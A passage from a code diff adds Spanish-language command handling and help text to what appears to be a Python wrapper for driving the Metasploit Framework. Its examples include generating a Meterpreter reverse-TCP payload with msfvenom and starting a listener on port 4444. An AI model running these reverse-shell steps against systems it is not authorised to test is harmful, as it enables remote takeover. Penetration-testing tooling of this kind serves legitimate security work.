return _list_workspaces()
|
|
499
|
+
|
|
500
|
+
# ── TEMPLATE ────────────────────────────────────────────────────────────
|
|
501
|
+
if cmd == "template":
|
|
502
|
+
if not cmd_args:
|
|
503
|
+
return "Uso: template <módulo>"
|
|
504
|
+
|
|
505
|
+
return _exploit_template(cmd_args[0])
|
|
506
|
+
|
|
507
|
+
# ── HELP ────────────────────────────────────────────────────────────────
|
|
508
|
+
if cmd in ("help", "info"):
|
|
509
|
+
return f"""Metasploit Framework Control
|
|
510
|
+
|
|
511
|
+
Comandos:
|
|
512
|
+
search <término> Buscar módulos
|
|
513
|
+
info <módulo> Ver información del módulo
|
|
514
|
+
run <módulo> [opts] Ejecutar módulo
|
|
515
|
+
payload <tipo> [opts] Generar payload con msfvenom
|
|
516
|
+
handler [puerto] Configurar handler
|
|
517
|
+
sessions Listar sesiones activas
|
|
518
|
+
connect <host> <port> Conectar a servicio
|
|
519
|
+
db Estado de base de datos
|
|
520
|
+
workspace Listar workspaces
|
|
521
|
+
template <módulo> Generar plantilla de uso
|
|
522
|
+
|
|
523
|
+
Ejemplos:
|
|
524
|
+
metasploit search apache
|
|
525
|
+
metasploit info exploit/multi/http/shellshock
|
|
526
|
+
metasploit payload windows/meterpreter/reverse_tcp LHOST=10.0.0.1
|
|
527
|
+
metasploit handler 4444
|
|
528
|
+
"""
|
|
529
|
+
|
|
530
|
+
return f"Comando desconocido: {cmd}\nUsa: metasploit help"
|